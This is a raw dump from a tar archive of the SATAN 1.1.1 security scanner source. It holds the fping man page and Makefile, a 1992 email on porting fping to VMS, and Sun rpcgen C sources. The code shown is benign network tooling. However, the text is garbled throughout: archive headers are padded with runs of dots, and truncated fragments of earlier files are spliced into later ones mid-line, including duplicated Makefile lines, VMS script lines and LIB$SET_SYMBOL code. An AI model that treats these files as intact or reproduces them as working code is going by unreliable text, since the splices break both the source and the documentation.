  17555. .SH EXAMPLES
  17556. The following perl script will check a list of hosts and send mail if
  17557. any are unreachable. It uses the open2 function which allows a program
  17558. to be opened for reading and writing. fping does not start pinging the
  17559. list of systems until it reads EOF, which it gets after INPUT is closed. 
  17560. Sure the open2 usage is not need in this example, but its a good open2
  17561. example none the less. 
  17562. .nf
  17563.  
  17564. #!/usr/local/bin/perl
  17565. require 'open2.pl';
  17566.  
  17567. $MAILTO = "root";
  17568.  
  17569. $pid = &open2("OUTPUT","INPUT","/usr/local/bin/fping -u");
  17570.  
  17571. @check=("slapshot","foo","foobar");
  17572.  
  17573. foreach(@check) {  print INPUT "$_\\n"; }
  17574. close(INPUT);
  17575. @output=<OUTPUT>;
  17576.  
  17577. if ($#output != -1) {
  17578.  chop($date=`date`);
  17579.  open(MAIL,"|mail -s 'unreachable systems' $MAILTO");
  17580.  print MAIL "\\nThe following systems are unreachable as of: $date\\n\\n";
  17581.  print MAIL @output;
  17582.  close MAIL;
  17583. }
  17584.  
  17585. .ni
  17586. Another good example is when you want to perform an action only on hosts
  17587. that are currently reachable.
  17588. .nf
  17589.  
  17590. #!/usr/local/bin/perl
  17591.  
  17592. $hosts_to_backup = `cat /etc/hosts.backup | fping -a`;
  17593.  
  17594. foreach $host (split(/\\n/,$hosts_to_backup)) {
  17595.   # do it
  17596. }
  17597.  
  17598. .ni
  17599.  
  17600. .SH AUTHOR
  17601. Roland J. Schemers III, Stanford University
  17602. .SH DIAGNOSTICS
  17603. Exit status is 0 if all the hosts are reachable, 1 if some hosts were
  17604. unreachable, 2 if any IP addresses were not found, 3 for invalid
  17605. command line arguments, and 4 for a system call failure.
  17606. .SH BUGS
  17607. Ha! If there were any I knew of I would have fixed them!
  17608. .SH RESTRICTIONS
  17609. If certain options are used (i.e, a low value for -i and -t, and a 
  17610. high value for -r) it is possible to flood the network. This program
  17611. must be installed as setuid root in order to open up a raw socket,
  17612. or must be run by root. In order to stop mere mortals from hosing the
  17613. network (when fping is installed setuid root) , normal users can't specify 
  17614. the following:
  17615. .nf
  17616.  
  17617.  -i n   where n < 10  msec
  17618.  -r n   where n > 20
  17619.  -t n   where n < 250 msec
  17620.  
  17621. .ni
  17622. .SH SEE ALSO
  17623. netstat(1), ping(8), ifconfig(8c)
  17624.  
  17625.   p->prev = p;
  17626.   } else {
  17627.       p->next = rrlist;
  17628.       p->prev = rrlist->prev;
  17629.       p->prev->next = p;
  17630.       p->next->prev = p;
  17631.       rrlist = p;
  17632.   }
  17633.   num_hosts++;
  17634. }
  17635.  
  17636. #ifdef _NO_PROTO
  17637. void remove_jsatan-1.1.1/src/fping/Makefile......................................................................   600 .   465 .   506 .       2077  5734763532  11247. ........................................................................................
  17638. .................................................................................................................................................................................................................................................................
  17639. ...........
  17640. PROG= ../../bin/fping
  17641. OBJS= fping.o
  17642. SRC= fping.c
  17643. BIN= /usr/local/bin
  17644. MAN= /usr/man/manl
  17645. MANSRC= fping.man
  17646. MANDST= fping.l
  17647.  
  17648. #
  17649. # Interval is the minimum amount of time between sending a ping packet to 
  17650. # any host.
  17651. #
  17652. # Timeout  is the minimum amount of time between sending a ping packet to
  17653. # a particular host.
  17654. #
  17655. # Retry is the number of ping packets to send to a host before giving up.
  17656. #
  17657.  
  17658. DEFAULTS= -DDEFAULT_INTERVAL=25  \
  17659.           -DDEFAULT_TIMEOUT=2500  \
  17660.           -DDEFAULT_RETRY=3
  17661. #
  17662. # some systems need the following:
  17663. #
  17664. #LIBS= -lsocket
  17665.  
  17666. LIBS=
  17667.  
  17668. all: $(PROG)
  17669.  
  17670. $(PROG) : $(OBJS)
  17671. .$(CC) $(OBJS) -o $(PROG) $(LIBS)
  17672.  
  17673. $(OBJS) : $(SRC)
  17674. .$(CC) $(CFLAGS) -c $(DEFAULTS) $(SRC)
  17675.  
  17676. # if you don't have install type:
  17677. # cp $(PROG) /usr/local/bin
  17678. # chown root /usr/local/bin/$(PROG)
  17679. # chmod 4555 /usr/local/bin/$(PROG)
  17680. # strip      /usr/local/bin/$(PROG)
  17681. #
  17682.  
  17683. install:
  17684. .install -c -m 4555 -o root -s $(PROG) $(BIN)/$(PROG)
  17685. .install -c -m 0444 -o root $(MANSRC) $(MAN)/$(MANDST)
  17686.  
  17687. clean:
  17688. .rm -f a.out core *~  *.o $(PROG)
  17689.  
  17690. shar:
  17691. .shar README CHANGES fping.c fping.man Makefile README.VMS > fping.shar
  17692. al/bin
  17693. MAN= /usr/man/manl
  17694. MANSRC= fping.man
  17695. MANDST= fping.l
  17696.  
  17697. #
  17698. # Interval is the minimum amount of time between sending a ping packet to 
  17699. # any host.
  17700. #
  17701. # Timeout  is the minimum amount of time between sending a ping packet to
  17702. # a particular host.
  17703. #
  17704. # Retry is the number of ping packets to send to a host before giving up.
  17705. #
  17706.  
  17707. DEFAULTS= -DDEFAULT_INTERVAL=25  \
  17708.           -DDEFAULT_TIMEOUT=2500  \
  17709.           -DDEFAULT_RETRY=3
  17710. #
  17711. # some systems need thsatan-1.1.1/src/fping/README.VMS....................................................................   600 .   465 .   506 .      12606  5731724671  11150. ...............................................................................
  17712. .................................................................................................................................................................................................................................................................
  17713. ....................From <@jessica.stanford.edu:IVERSEN@VSFYS1.FI.UIB.NO> Mon Jul 27 08:54:26 1992
  17714. Received: from Argus.Stanford.EDU by jessica.stanford.edu (5.59/25-eef) id AA28695; Mon, 27 Jul 92 08:54:22 PDT
  17715. Received: from vsfys1.fi.uib.no by Argus.Stanford.EDU (5.65/inc-1.0)
  17716. .id AA28942; Mon, 27 Jul 92 08:54:19 -0700
  17717. Date:    Mon, 27 Jul 1992 17:54:17 +0200
  17718. From: IVERSEN@VSFYS1.FI.UIB.NO (Per Steinar Iversen, Dept. of Physics, Univ. of Bergen, Norway, phone +47-5-212770)
  17719. Message-Id: <920727175417.21e004ce@VSFYS1.FI.UIB.NO>
  17720. Subject: FPING under VMS
  17721. To: schemers@Stanford.EDU
  17722. X-Vmsmail-To: SMTP%"schemers@Stanford.EDU"
  17723. Status: OR
  17724.  
  17725. Hello,
  17726.  
  17727. I rather liked your recently posted fping, and I decided to port it to VMS,
  17728. under MultiNet TCP/IP 3.0H and VAXC 3.2. Only some very minor modifications are
  17729. necessary to run it under VMS 5.5: 
  17730.  
  17731. 1) The 2 following lines must be put onto one single line, otherwise VAXC 
  17732. complains:
  17733.  
  17734. #if !__STDC__ && !defined(__cplusplus) && !defined(FUNCPROTO) \
  17735.                                                  && !defined(_POSIX_SOURCE)
  17736.  
  17737. goes to:
  17738.  
  17739. #if !__STDC__ && !defined(__cplusplus) && !defined(FUNCPROTO) && !defined(_POSIX_SOURCE)
  17740.  
  17741. 2) The single following line must be changed:
  17742.  
  17743. extern char *sys_errlist[];
  17744.  
  17745. to:
  17746.  
  17747. #ifndef VMS
  17748. extern char *sys_errlist[];
  17749. #else
  17750. extern noshare char *sys_errlist[];
  17751. #endif
  17752.  
  17753. 3) VMS runs privileged programs in a different manner from UNIX. geteuid is 
  17754. "supported" by VAXC but the result is not really meaningful.
  17755.  
  17756. These lines are thus Unix specific:
  17757.  
  17758.   /* check if we are root */
  17759.  
  17760. #ifndef VMS
  17761.   if (geteuid()) {
  17762.       fprintf(stderr,
  17763.         "This program can only be run by root, or it must be setuid root.\n");
  17764.       exit(3);
  17765.   }
  17766. #endif
  17767.  
  17768. 4) VAXC does not support getopt. I got my copies of getopt, index and rindex
  17769. from a fileserver with bsd-sources, using anonymous FTP. These routines
  17770. compiled without complaints and works fine under VAXC 3.2 at least. 
  17771.  
  17772. 5) The VMS concept of exit codes is different from the Unix version. After some
  17773. thought I decided to short circuit the VAXC attempt of translating the Unix
  17774. return codes into VMS style return codes. My version of FPING always returns
  17775. "exit(1)", which is VMS success. However the FPING status codes are put into a
  17776. VMS symbol, FPING_STATUS. It is thus very easy to use the FPING return status
  17777. codes for further action if needed. 
  17778.  
  17779. The line at the end of main in FPING, "return 0;", must be changed to
  17780. "exit(0);" for VMS, this should be OK for Unix too?
  17781.  
  17782. A small routine is needed to handle the translation, it will probably not
  17783. get any rewards for nice C-code (I usually program in Fortran), and it was 
  17784. largely created by copying an example from the VAXC manuals:
  17785.  
  17786. /* VMS-EXIT.C */
  17787. #include <ssdef>
  17788. #include <stdio>
  17789. #include <descrip>
  17790.  
  17791. int LIB$SET_SYMBOL();
  17792.  
  17793. vms_exit (ecode)
  17794. int ecode;
  17795. {
  17796.   int status = 1;
  17797.   static $DESCRIPTOR(fping_name, "FPING_STATUS");
  17798.   static $DESCRIPTOR(fping_exit_0,"0");
  17799.   static $DESCRIPTOR(fping_exit_1,"1");
  17800.   static $DESCRIPTOR(fping_exit_2,"2");
  17801.   static $DESCRIPTOR(fping_exit_3,"3");
  17802.   static $DESCRIPTOR(fping_exit_4,"4");
  17803.   static $DESCRIPTOR(fping_exit_5,"5");
  17804.  
  17805.   switch(ecode) {
  17806.   case 0 :
  17807.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_0);
  17808.     break;
  17809.   case 1 :
  17810.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_1);
  17811.     break;
  17812.   case 2 :
  17813.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_2);
  17814.     break;
  17815.   case 3 :
  17816.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_3);
  17817.     break;
  17818.   case 4 :
  17819.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_4);
  17820.     break;
  17821.   default:
  17822.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_5);
  17823.     break;
  17824.   }
  17825.  
  17826.   exit(1);
  17827.  
  17828. }
  17829.  
  17830.  
  17831. 6) The following command file (script) was used to compile and link under VMS:
  17832.  
  17833. $! VMS-CC-MAKE.COM
  17834. $! 
  17835. $! This compile+link procedure has been tested with VAXC 3.2 and
  17836. $! MultiNet 3.0H.
  17837. $!
  17838. $! NOTE: getopt, index, and rindex are not part of VAXC, however the BSD
  17839. $! versions works fine. They should be available by anonymous FTP
  17840. $! from a number of fileservers.
  17841. $!
  17842. $ define/user arpa             multinet_root:[multinet.include.arpa]
  17843. $ define/user netinet          multinet_root:[multinet.include.netinet]
  17844. $ define/user sys              multinet_root:[multinet.include.sys],sys$library
  17845. $ cc /nolist /define="exit=vms_exit" fping.c
  17846. $ cc /nolist                         vms-exit.c
  17847. $ cc /nolist                         getopt.c
  17848. $ cc /nolist                         index.c
  17849. $ cc /nolist                         rindex.c
  17850. $ link /nomap/notrace fping,vms-exit,getopt,index,rindex,sys$input/opt
  17851. multinet:multinet_socket_library/share
  17852. sys$share:vaxcrtl/share
  17853. $ delete fping.obj.*,vms-exit.obj.*,getopt.obj.*,index.obj.*,rindex.obj.*
  17854. $ purge  fping.exe
  17855. $ fping :== $'f$environment("default")'fping
  17856.  
  17857. 7) Piping files into fping is not available under VMS, but the "f" option does
  17858. the same job.
  17859.  
  17860. 8) fping must be installed with privileges if it is to be used by
  17861. non-privileged users under VMS. 
  17862.  
  17863. The question then is, does it work? Well, as far I can see the answer is yes!
  17864. Here are some examples of output:
  17865.  
  17866. $ fping xxx
  17867. xxx address not found
  17868. $ show symbol fping_status
  17869.   FPING_STATUS = "2"
  17870. $ fping vxcrna.cern.ch
  17871. vxcrna.cern.ch is alive
  17872. $ show symbol fping_status
  17873.   FPING_STATUS = "0"
  17874. $ fping -de vxcrna.cern.ch
  17875. vxcrna.cern.ch is alive (320 msec)
  17876. $ show symbol fping_status
  17877.   FPING_STATUS = "0"
  17878. $ fping -v
  17879. vsfys5$dkb100:[scratch.iversen]fping.exe;7: $Revision: 1.17 $ $Date: 1992/07/23 03:29:42 $
  17880. vsfys5$dkb100:[scratch.iversen]fping.exe;7: comments to schemers@Stanford.EDU
  17881.  
  17882. Regards, Per (iversen@vsfys1.fi.uib.no)
  17883.  
  17884.  for Unix too?
  17885.  
  17886. A small routine is needed to handle the translation, it will probably not
  17887. get any rewards for nice C-code satan-1.1.1/src/fping/AUTHOR........................................................................   600 .   465 .   506 .        116  5735575504  10505. .....................................................................
  17888. .................................................................................................................................................................................................................................................................
  17889. ..............................
  17890. Bob Morgan, morgan@networking.stanford.edu, is currently maintaining fping.
  17891.  
  17892. YMBOL(&fping_name,&fping_exit_0);
  17893.     break;
  17894.   case 1 :
  17895.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_1);
  17896.     break;
  17897.   case 2 :
  17898.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_2);
  17899.     break;
  17900.   case 3 :
  17901.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_3);
  17902.     break;
  17903.   case 4 :
  17904.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_4);
  17905.     break;
  17906.   default:
  17907.     status = LIB$SET_SYMBOL(&fping_name,&fping_exit_5);
  17908.     break;satan-1.1.1/src/rpcgen/.............................................................................   700 .   465 .   506 .          0  5742521557   7663. ...........................................................................................
  17909. .................................................................................................................................................................................................................................................................
  17910. ........satan-1.1.1/src/rpcgen/Makefile.....................................................................   600 .   465 .   506 .       2245  5741520414  11403. .............................................................................................
  17911. .................................................................................................................................................................................................................................................................
  17912. ......#
  17913. # @(#)Makefile.2.1 88/08/01 4.0 RPCSRC
  17914. #
  17915. # Makefile for rpc protocol compiler
  17916. # Copyright (C) 1987, Sun Microsystems, Inc.
  17917. #
  17918. SRCS= rpc_main.c rpc_hout.c rpc_cout.c rpc_parse.c rpc_scan.c rpc_util.c \
  17919. .rpc_svcout.c rpc_clntout.c
  17920. HDRS= rpc_util.h rpc_parse.h rpc_scan.h
  17921. OBJS= rpc_main.o rpc_hout.o rpc_cout.o rpc_parse.o rpc_scan.o rpc_util.o \
  17922. .rpc_svcout.o rpc_clntout.o
  17923.  
  17924. GOAL=../../bin/rpcgen
  17925. CFLAGS = -O $(XFLAGS)
  17926.  
  17927. $(GOAL): $(OBJS)
  17928. .$(CC) $(CFLAGS) $(OBJS) -o $@
  17929.  
  17930. lint: $(SRCS) $(HDRS)
  17931. .lint $(SRCS)
  17932.  
  17933. clean:
  17934. .rm -f $(GOAL) $(OBJS)
  17935.  
  17936. rpc_clntout.o: rpc_clntout.c
  17937. rpc_clntout.o: rpc_parse.h
  17938. rpc_clntout.o: rpc_util.h
  17939. rpc_cout.o: rpc_cout.c
  17940. rpc_cout.o: rpc_parse.h
  17941. rpc_cout.o: rpc_util.h
  17942. rpc_hout.o: rpc_hout.c
  17943. rpc_hout.o: rpc_parse.h
  17944. rpc_hout.o: rpc_util.h
  17945. rpc_main.o: rpc_main.c
  17946. rpc_main.o: rpc_parse.h
  17947. rpc_main.o: rpc_scan.h
  17948. rpc_main.o: rpc_util.h
  17949. rpc_parse.o: rpc_parse.c
  17950. rpc_parse.o: rpc_parse.h
  17951. rpc_parse.o: rpc_scan.h
  17952. rpc_parse.o: rpc_util.h
  17953. rpc_scan.o: rpc_scan.c
  17954. rpc_scan.o: rpc_scan.h
  17955. rpc_scan.o: rpc_util.h
  17956. rpc_svcout.o: rpc_parse.h
  17957. rpc_svcout.o: rpc_svcout.c
  17958. rpc_svcout.o: rpc_util.h
  17959. rpc_util.o: rpc_parse.h
  17960. rpc_util.o: rpc_scan.h
  17961. rpc_util.o: rpc_util.c
  17962. rpc_util.o: rpc_util.h
  17963.             vms-exit.c
  17964. $ cc /nolist                         getopt.c
  17965. $ cc /nolist                         index.c
  17966. $ cc /nolist                         rindex.c
  17967. $ link /nomap/notrace fping,vms-exit,getopt,index,rindex,sys$input/opt
  17968. multinet:multinet_socket_library/share
  17969. sys$share:vaxcrtl/share
  17970. $ delete fping.obj.*,vms-exit.obj.*,getopt.obj.*,indesatan-1.1.1/src/rpcgen/rpc_clntout.c................................................................   600 .   465 .   506 .       7051  5741525540  12450. ................................................
  17971. .................................................................................................................................................................................................................................................................
  17972. .................................................../* @(#)rpc_clntout.c.2.1 88/08/01 4.0 RPCSRC */
  17973. /*
  17974.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  17975.  * unrestricted use provided that this legend is included on all tape
  17976.  * media and as a part of the software program in whole or part.  Users
  17977.  * may copy or modify Sun RPC without charge, but are not authorized
  17978.  * to license or distribute it to anyone else except as part of a product or
  17979.  * program developed by the user.
  17980.  * 
  17981.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  17982.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  17983.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  17984.  * 
  17985.  * Sun RPC is provided with no support and without any obligation on the
  17986.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  17987.  * modification or enhancement.
  17988.  * 
  17989.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  17990.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  17991.  * OR ANY PART THEREOF.
  17992.  * 
  17993.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  17994.  * or profits or other special, indirect and consequential damages, even if
  17995.  * Sun has been advised of the possibility of such damages.
  17996.  * 
  17997.  * Sun Microsystems, Inc.
  17998.  * 2550 Garcia Avenue
  17999.  * Mountain View, California  94043
  18000.  */
  18001. #ifndef lint
  18002. static char sccsid[] = "@(#)rpc_clntout.c 1.2 87/06/24 (C) 1987 SMI";
  18003. #endif
  18004.  
  18005. /*
  18006.  * rpc_clntout.c, Client-stub outputter for the RPC protocol compiler
  18007.  * Copyright (C) 1987, Sun Microsytsems, Inc.
  18008.  */
  18009. #include <stdio.h>
  18010. #include <string.h>
  18011. #include <stdlib.h>
  18012. #include <unistd.h>
  18013. #include "rpc_parse.h"
  18014. #include "rpc_util.h"
  18015.  
  18016. #define DEFAULT_TIMEOUT 25./* in seconds */
  18017.  
  18018. static write_program();
  18019. static printbody();
  18020.  
  18021. void
  18022. write_stubs()
  18023. {
  18024. .list *l;
  18025. .definition *def;
  18026.  
  18027.  .f_print(fout,
  18028.  .."\n/* Default timeout can be changed using clnt_control() */\n");
  18029.  .f_print(fout, "static struct timeval TIMEOUT = { %d, 0 };\n",
  18030. ..DEFAULT_TIMEOUT);
  18031. .for (l = defined; l != NULL; l = l->next) {
  18032. ..def = (definition *) l->val;
  18033. ..if (def->def_kind == DEF_PROGRAM) {
  18034. ...write_program(def);
  18035. ..}
  18036. .}
  18037. }
  18038.  
  18039.  
  18040. static
  18041. write_program(def)
  18042. .definition *def;
  18043. {
  18044. .version_list *vp;
  18045. .proc_list *proc;
  18046.  
  18047. .for (vp = def->def.pr.versions; vp != NULL; vp = vp->next) {
  18048. ..for (proc = vp->procs; proc != NULL; proc = proc->next) {
  18049. ...f_print(fout, "\n");
  18050. ...ptype(proc->res_prefix, proc->res_type, 1);
  18051. ...f_print(fout, "*\n");
  18052. ...pvname(proc->proc_name, vp->vers_num);
  18053. ...f_print(fout, "(argp, clnt)\n");
  18054. ...f_print(fout, "\t");
  18055. ...ptype(proc->arg_prefix, proc->arg_type, 1);
  18056. ...f_print(fout, "*argp;\n");
  18057. ...f_print(fout, "\tCLIENT *clnt;\n");
  18058. ...f_print(fout, "{\n");
  18059. ...printbody(proc);
  18060. ...f_print(fout, "}\n\n");
  18061. ..}
  18062. .}
  18063. }
  18064.  
  18065. static char *
  18066. ampr(type)
  18067. .char *type;
  18068. {
  18069. .if (isvectordef(type, REL_ALIAS)) {
  18070. ..return ("");
  18071. .} else {
  18072. ..return ("&");
  18073. .}
  18074. }
  18075.  
  18076. static
  18077. printbody(proc)
  18078. .proc_list *proc;
  18079. {
  18080. .f_print(fout, "\tstatic ");
  18081. .if (streq(proc->res_type, "void")) {
  18082. ..f_print(fout, "char ");
  18083. .} else {
  18084. ..ptype(proc->res_prefix, proc->res_type, 0);
  18085. .}
  18086. .f_print(fout, "res;\n");
  18087. .f_print(fout, "\n");
  18088.  .f_print(fout, "\tmemset((char *)%sres, 0, sizeof(res));\n",
  18089.  ..ampr(proc->res_type));
  18090. .f_print(fout,
  18091. .."\tif (clnt_call(clnt, %s, xdr_%s, argp, xdr_%s, %sres, TIMEOUT) != RPC_SUCCESS) {\n",
  18092. ..proc->proc_name, stringfix(proc->arg_type),
  18093. ..stringfix(proc->res_type), ampr(proc->res_type));
  18094. .f_print(fout, "\t\treturn (NULL);\n");
  18095. .f_print(fout, "\t}\n");
  18096. .if (streq(proc->res_type, "void")) {
  18097. ..f_print(fout, "\treturn ((void *)%sres);\n",
  18098. ...ampr(proc->res_type));
  18099. .} else {
  18100. ..f_print(fout, "\treturn (%sres);\n", ampr(proc->res_type));
  18101. .}
  18102. }
  18103. ING_STATUS = "0"
  18104. $ fping -de vxcrna.cern.ch
  18105. vxcrna.cern.ch is alive (320 msec)
  18106. $ show symbol fping_status
  18107.   FPING_STATUS = "0"
  18108. $ fping -v
  18109. vsfys5$dkb100:[scratch.iversen]fping.exe;7: $Revision: 1.17 $ $Date: 1992/07/23 03:29:42 $
  18110. vsfys5$dkb100:[scratch.iversen]fping.exe;7: comments to schemers@Stanford.EDU
  18111.  
  18112. Regards, Per (iversen@vsfys1.fi.uib.no)
  18113.  
  18114.  for Unix too?
  18115.  
  18116. A small routine is needed to handle the translation, it will probably not
  18117. get any rewards for nice C-code satan-1.1.1/src/rpcgen/rpc_cout.c...................................................................   600 .   465 .   506 .      17160  5741731177  11761. .....................................................................
  18118. .................................................................................................................................................................................................................................................................
  18119. ............................../* @(#)rpc_cout.c.2.1 88/08/01 4.0 RPCSRC */
  18120. /*
  18121.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  18122.  * unrestricted use provided that this legend is included on all tape
  18123.  * media and as a part of the software program in whole or part.  Users
  18124.  * may copy or modify Sun RPC without charge, but are not authorized
  18125.  * to license or distribute it to anyone else except as part of a product or
  18126.  * program developed by the user.
  18127.  * 
  18128.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  18129.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  18130.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  18131.  * 
  18132.  * Sun RPC is provided with no support and without any obligation on the
  18133.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  18134.  * modification or enhancement.
  18135.  * 
  18136.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  18137.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  18138.  * OR ANY PART THEREOF.
  18139.  * 
  18140.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  18141.  * or profits or other special, indirect and consequential damages, even if
  18142.  * Sun has been advised of the possibility of such damages.
  18143.  * 
  18144.  * Sun Microsystems, Inc.
  18145.  * 2550 Garcia Avenue
  18146.  * Mountain View, California  94043
  18147.  */
  18148. #ifndef lint
  18149. static char sccsid[] = "@(#)rpc_cout.c 1.8 87/06/24 (C) 1987 SMI";
  18150. #endif
  18151.  
  18152. /*
  18153.  * rpc_cout.c, XDR routine outputter for the RPC protocol compiler 
  18154.  * Copyright (C) 1987, Sun Microsystems, Inc. 
  18155.  */
  18156. #include <stdio.h>
  18157. #include <string.h>
  18158. #include <stdlib.h>
  18159. #include <unistd.h>
  18160. #include "rpc_util.h"
  18161. #include "rpc_parse.h"
  18162.  
  18163. static print_header();
  18164. static print_trailer();
  18165. static space();
  18166. static emit_enum();
  18167. static emit_union();
  18168. static emit_struct();
  18169. static emit_typedef();
  18170. static print_stat();
  18171.  
  18172. /*
  18173.  * Emit the C-routine for the given definition 
  18174.  */
  18175. void
  18176. emit(def)
  18177. .definition *def;
  18178. {
  18179. .if (def->def_kind == DEF_PROGRAM || def->def_kind == DEF_CONST) {
  18180. ..return;
  18181. .}
  18182. .print_header(def);
  18183. .switch (def->def_kind) {
  18184. .case DEF_UNION:
  18185. ..emit_union(def);
  18186. ..break;
  18187. .case DEF_ENUM:
  18188. ..emit_enum(def);
  18189. ..break;
  18190. .case DEF_STRUCT:
  18191. ..emit_struct(def);
  18192. ..break;
  18193. .case DEF_TYPEDEF:
  18194. ..emit_typedef(def);
  18195. ..break;
  18196. .}
  18197. .print_trailer();
  18198. }
  18199.  
  18200. static
  18201. findtype(def, type)
  18202. .definition *def;
  18203. .char *type;
  18204. {
  18205. .if (def->def_kind == DEF_PROGRAM || def->def_kind == DEF_CONST) {
  18206. ..return (0);
  18207. .} else {
  18208. ..return (streq(def->def_name, type));
  18209. .}
  18210. }
  18211.  
  18212. static
  18213. undefined(type)
  18214. .char *type;
  18215. {
  18216. .definition *def;
  18217.  
  18218. .def = (definition *) FINDVAL(defined, type, findtype);
  18219. .return (def == NULL);
  18220. }
  18221.  
  18222.  
  18223. static
  18224. print_header(def)
  18225. .definition *def;
  18226. {
  18227. .space();
  18228. .f_print(fout, "bool_t\n");
  18229. .f_print(fout, "xdr_%s(xdrs, objp)\n", def->def_name);
  18230. .f_print(fout, "\tXDR *xdrs;\n");
  18231. .f_print(fout, "\t%s ", def->def_name);
  18232. .if (def->def_kind != DEF_TYPEDEF ||
  18233. .    !isvectordef(def->def.ty.old_type, def->def.ty.rel)) {
  18234. ..f_print(fout, "*");
  18235. .}
  18236. .f_print(fout, "objp;\n");
  18237. .f_print(fout, "{\n");
  18238. }
  18239.  
  18240. static
  18241. print_trailer()
  18242. {
  18243. .f_print(fout, "\treturn (TRUE);\n");
  18244. .f_print(fout, "}\n");
  18245. .space();
  18246. }
  18247.  
  18248.  
  18249. static
  18250. print_ifopen(indent, name)
  18251. .int indent;
  18252. .char *name;
  18253. {
  18254. .tabify(fout, indent);
  18255. .f_print(fout, "if (!xdr_%s(xdrs", name);
  18256. }
  18257.  
  18258.  
  18259. static
  18260. print_ifarg(arg)
  18261. .char *arg;
  18262. {
  18263. .f_print(fout, ", %s", arg);
  18264. }
  18265.  
  18266.  
  18267. static
  18268. print_ifsizeof(prefix, type)
  18269. .char *prefix;
  18270. .char *type;
  18271. {
  18272. .if (streq(type, "bool")) {
  18273. ..f_print(fout, ", sizeof(bool_t), xdr_bool");
  18274. .} else {
  18275. ..f_print(fout, ", sizeof(");
  18276. ..if (undefined(type) && prefix) {
  18277. ...f_print(fout, "%s ", prefix);
  18278. ..}
  18279. ..f_print(fout, "%s), xdr_%s", type, type);
  18280. .}
  18281. }
  18282.  
  18283. static
  18284. print_ifclose(indent)
  18285. .int indent;
  18286. {
  18287. .f_print(fout, ")) {\n");
  18288. .tabify(fout, indent);
  18289. .f_print(fout, "\treturn (FALSE);\n");
  18290. .tabify(fout, indent);
  18291. .f_print(fout, "}\n");
  18292. }
  18293.  
  18294. static
  18295. space()
  18296. {
  18297. .f_print(fout, "\n\n");
  18298. }
  18299.  
  18300. static
  18301. print_ifstat(indent, prefix, type, rel, amax, objname, name)
  18302. .int indent;
  18303. .char *prefix;
  18304. .char *type;
  18305. .relation rel;
  18306. .char *amax;
  18307. .char *objname;
  18308. .char *name;
  18309. {
  18310. .char *alt = NULL;
  18311.  
  18312. .switch (rel) {
  18313. .case REL_POINTER:
  18314. ..print_ifopen(indent, "pointer");
  18315. ..print_ifarg("(char **)");
  18316. ..f_print(fout, "%s", objname);
  18317. ..print_ifsizeof(prefix, type);
  18318. ..break;
  18319. .case REL_VECTOR:
  18320. ..if (streq(type, "string")) {
  18321. ...alt = "string";
  18322. ..} else if (streq(type, "opaque")) {
  18323. ...alt = "opaque";
  18324. ..}
  18325. ..if (alt) {
  18326. ...print_ifopen(indent, alt);
  18327. ...print_ifarg(objname);
  18328. ..} else {
  18329. ...print_ifopen(indent, "vector");
  18330. ...print_ifarg("(char *)");
  18331. ...f_print(fout, "%s", objname);
  18332. ..}
  18333. ..print_ifarg(amax);
  18334. ..if (!alt) {
  18335. ...print_ifsizeof(prefix, type);
  18336. ..}
  18337. ..break;
  18338. .case REL_ARRAY:
  18339. ..if (streq(type, "string")) {
  18340. ...alt = "string";
  18341. ..} else if (streq(type, "opaque")) {
  18342. ...alt = "bytes";
  18343. ..}
  18344. ..if (streq(type, "string")) {
  18345. ...print_ifopen(indent, alt);
  18346. ...print_ifarg(objname);
  18347. ..} else {
  18348. ...if (alt) {
  18349. ....print_ifopen(indent, alt);
  18350. ...} else {
  18351. ....print_ifopen(indent, "array");
  18352. ...}
  18353. ...print_ifarg("(char **)");
  18354. ...if (*objname == '&') {
  18355. ....f_print(fout, "%s.%s_val, (u_int *)%s.%s_len",
  18356. .....objname, name, objname, name);
  18357. ...} else {
  18358. ....f_print(fout, "&%s->%s_val, (u_int *)&%s->%s_len",
  18359. .....objname, name, objname, name);
  18360. ...}
  18361. ..}
  18362. ..print_ifarg(amax);
  18363. ..if (!alt) {
  18364. ...print_ifsizeof(prefix, type);
  18365. ..}
  18366. ..break;
  18367. .case REL_ALIAS:
  18368. ..print_ifopen(indent, type);
  18369. ..print_ifarg(objname);
  18370. ..break;
  18371. .}
  18372. .print_ifclose(indent);
  18373. }
  18374.  
  18375.  
  18376. /* ARGSUSED */
  18377. static
  18378. emit_enum(def)
  18379. .definition *def;
  18380. {
  18381. .print_ifopen(1, "enum");
  18382. .print_ifarg("(enum_t *)objp");
  18383. .print_ifclose(1);
  18384. }
  18385.  
  18386.  
  18387. static
  18388. emit_union(def)
  18389. .definition *def;
  18390. {
  18391. .declaration *dflt;
  18392. .case_list *cl;
  18393. .declaration *cs;
  18394. .char *object;
  18395. .char *vectorfmt = "objp->%s_u.%s";
  18396. .char *format = "&objp->%s_u.%s";
  18397.  
  18398. .print_stat(&def->def.un.enum_decl);
  18399. .f_print(fout, "\tswitch (objp->%s) {\n", def->def.un.enum_decl.name);
